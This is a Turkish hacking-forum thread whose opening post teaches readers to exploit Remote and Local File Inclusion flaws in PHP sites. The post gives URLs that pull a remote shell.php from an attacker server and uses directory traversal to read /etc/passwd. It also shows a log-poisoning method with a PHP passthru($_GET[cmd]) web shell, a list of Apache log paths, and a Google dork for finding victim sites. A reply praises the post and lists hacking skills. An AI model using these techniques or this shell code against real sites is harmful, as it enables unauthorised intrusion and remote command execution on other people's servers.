![]() |
|
|||||||
| Security Bu bölümde güvenlik ve güvenlik açıkları, Korunma Yolları ile ilgili herşey yayınlanır. |
![]() |
|
|
Seçenekler |
|
|
#1 |
|
Normal Üye
![]() |
Selamlar,
File inclusion yani dosya dahil etme dediğimiz olay bir çok sistemde bulunan bir açıktır.Eğer mailling listlere üye iseniz bu tarz açıklarla ile ilgili bir çok mesajın olduğunu görebilirsiniz. Bu tarz açıklar ile gerek remote (uzaktan) dosyaları mevcut aplikasyona dahil edebilir, gerek local (yerel) dosyaları dahil edebilirsiniz.. Peki remote ile yerel arasındaki farkı nedir? Remote olan FI açıklarında fazla uğraşmanıza gerek yoktur az biraz HTTP protokolü hakkında bilgi yeterlidir (GET/POST Request yani İstekleri) kaldıki mevcut sistem bunu direk olarak GET ile isteyeceğinden size sadece aldığınız hata mesajı yeterli olacaktır. Örnek bir hata mesajı yazalım: [ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...] adresine giriyoruz. Kod:
http://SERVERIMIZINADRESI/KLASOR/SHELL.PHP Warning: main(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/successt/public_html/order/index.php on line 20 Warning: main(http://SERVERIMIZINADRESI/KLASOR/SHELL.PHPque.php): failed to open stream: Permission denied in /home/successt/public_html/order/index.php on line 20 Warning: main(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/successt/public_html/order/index.php on line 20 Warning: main(http://SERVERIMIZINADRESI/KLASOR/SHELL.PHPque.php): failed to open stream: Permission denied in /home/successt/public_html/order/index.php on line 20 Fatal error: main(): Failed opening required 'http://SERVERIMIZINADRESI/KLASOR/SHELL.PHPque.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/successt/public_html/order/index.php on line 20 Bunu aşmanın 2 yolu mevcut: 1) Sunucumuzda que.php adında bir dosya oluşturup isteğimizi [ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...] adresine girersek que.php yi zaten bindirdiğinden mevcut php shellimizi load edebiliriz. 2) Birazcık HTTP protokolünü bilmemizin yardımı ile daha pratik ve mantıklı olan "?" karakteririni isteğimizin sonuna koyalım. [ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...] ? bildiğiniz üzere extensiondan sonra gelip sunucuya bu dosya ile ilgili isteklerimizin neler olduğunu belirtmemize yarar. Bu şekilde aldığımız hata mesajları ile Remote File Inclusion yani Uzaktan Dosya Dahili yapmamızı kolaylıkla yapabiliriz. Tabii ki bu tarz kolay istekler karşınıza çıkmayabilir bunlarıda yorumlamak ve değerlendirmek tamamıyla size kalmış bir şey ben size şuan balık tutmayı öğretiyorum direk balığı vermem. Peki remote yapamadık local file inclusion nasıl yaparız neyimize yarar? LFI ile sistemdeki okuma hakkına sahip olduğumuz bütün dosyaları dahil edebiliriz. Örneğin en basitinden herkesin bildiği: /etc/passwd nasıl dahil edeceğimizi gösterelim [ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...] adresine girdik ve önce RFI denedik hiç bir şekilde shellimiz dahil edilmedi ve bir hata mesajı almadık. Pratik olarak kafamızı çalıştırarak. [ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...] adresine giriyoruz. tata sayfanın en üstünde dosyamız yüklendi. Kod:
root:x:0:0:root:/root:/bin/tcsh daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh .. devamı Peki LFI nasıl geliştirilebilir? [ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...] gibi bir adres bulduk ve [ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...] denedik ve şöyle bir hata aldık Kod:
Warning: main(.//etc/passwd): failed to open stream: No such file or directory in /usr/www/www.tigran.ru/www/index.php on line 68 Warning: main(): Failed opening './/etc/passwd' for inclusion (include_path='.:') in /usr/www/www.tigran.ru/www/index.php on line 68 /usr/www/www.tigran.ru/www/index.php yolu üstünde ./ ile gelen sorguyu birleştirip dosyayı arıyor. ./ burada mevcut klasörü kapsamakta biz bu klasörün ana yoluna inerek / burdan etc klasöründen passwd dosyasını nasıl okuruz onu görelim. Sayalım kaç klasörün üstündeyiz. Kod:
usr www www.tigran.ru www [ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...] bu sekile getirelim adresi ve girelim gördüğünüz gibi 4 adet ../ kullandım ve karşımızda Kod:
# $FreeBSD$ # root:*:0:0:Charlie &:/root:/usr/local/bin/bash .. ve devamı http://kurban/site/<?php phpInfo();?> gibi ufak bir php bilgisi gösteren kod yazıp istekde bulunduk. Bu isteğimiz doğrultusunda eğer doğru kayıt dosyasının yolunu bulursak php bilgisini elde edebiliriz. Ufak bir shell kodu verelim Kod:
<?php ob_clean();echo Selam!;if (get_magic_quotes_gpc()) {$_GET[cmd]=striplashes($_GET[cmd]);} passthru($_GET[cmd]);echo Bitti;die;?>
Olası kayıt dosyaları ise Kod:
/var/log/httpd/access_log /var/log/httpd/error_log /apache/logs/error_log /apache/logs/access_log /apache/logs/error.log /apache/logs/access.log /etc/httpd/logs/access_log /etc/httpd/logs/access.log /etc/httpd/logs/error_log /etc/httpd/logs/error.log /var/www/logs/access_log /var/www/logs/access.log /usr/local/apache/logs/access_log /usr/local/apache/logs/access.log /var/log/apache/access_log /var/log/apache/access.log /var/log/access_log /var/www/logs/error_log /var/www/logs/error.log /usr/local/apache/logs/error_log /usr/local/apache/logs/error.log /var/log/apache/error_log /var/log/apache/error.log /var/log/access_log /var/log/error_log Google hacking sayesinde FI kullanarak shell çalıştırılan siteleri bulunuz. Örnek arama: inurl:site ext hp site:at Tipik bir abudik.php?site=xxx.php gibi dosya dahil eden siteleri arama metodu avusturya üstündekileri aramakta.Örnek link: [ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...] Hazır shellim yok diyenlere [ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...] Paylaşımın KaLite İLe Buluştuqu Tek Yere HoşqeLdiniz.. Seni yağmalamışlar kuytularda korkuların nefes nefese
Yüreğinden bıçaklanan sevdalarda Pişman mısın kendine düşman mısın? Hep yanlış sevdalara çiçeklenmiş kuruyup savrulmuşsun Hasretin çıldırıyor anılara gecelere sığmıyorsun Şu soğuk duvarların dili olsa anlatsa neler çektiğini Buz gibi yastıklara sarılıp da sabahı zor ettiğini Ağlıyorsun... Ağlıyor ağlıyorsun Artık gülüp geçiyorsun aşklara inanmıyorsun Yorgunsun biliyorum oysa birtek sözcük yeterdi anlatmaya Saçların o elleri özlüyor Çığlar yuvarlanıyor ömrünün uçurumlarında O en saklı yerinde ağlayan kahkahalar hangi yasak umudun ihanetidir Birer birer kopartmışlar büyüttüğün çiçekleri Anlıyor musun? Yaprak döken gençliğinin satır aralarında Altı kırmızıyla çizilmiş ve tırnak içine alınmış suskunluğun başharflerisin Şehirler uyurken boğazına sarılırken öfkeler Bu gizli gülmelerin bu sessiz ağlamaların nedir anlamı Sen hangi mevsimin yağmurusun Ağlıyor musun? |
|
|
|
|
|
#2 |
|
Amatör Üye
Üyelik Tarihi: Jan 2007
Yaş: 75
Mesajlar: 15
Üye No: 3302
Tecrübe Puanı: 35
Rep Gücü : 69
Rep Derecesi :
![]() |
emegine saglık :) ya musanın hesabınıda sonunda iptal ettirdiniz her forumda musa.txt? gösterile gösterile adamın shell hesabını kapattırdınız.artı FI degil RFİ olacak o kadar karmaşık anlatılmışki ben bu anlatıma bir çok forumda rastlıyorum bir defa yanlış bir anlatım rfi anlatımı bu kadar karmaşık degil. Ben bir ara anlatacagım inşallah videolu anlatımlarım da olacak arkadşım yinede emegine saglık selametle
Anlaşılır olmanın çok uzağında...!!! Eğer iyi bir hackersan herkes adını bilir ama Muhteşem bir hackersan kimse kim olduğunu bilmez... Cross Site Scripting ( XSS ) RFİ -LFİ SQL İnjection sosyal mühendislik |
|
|
|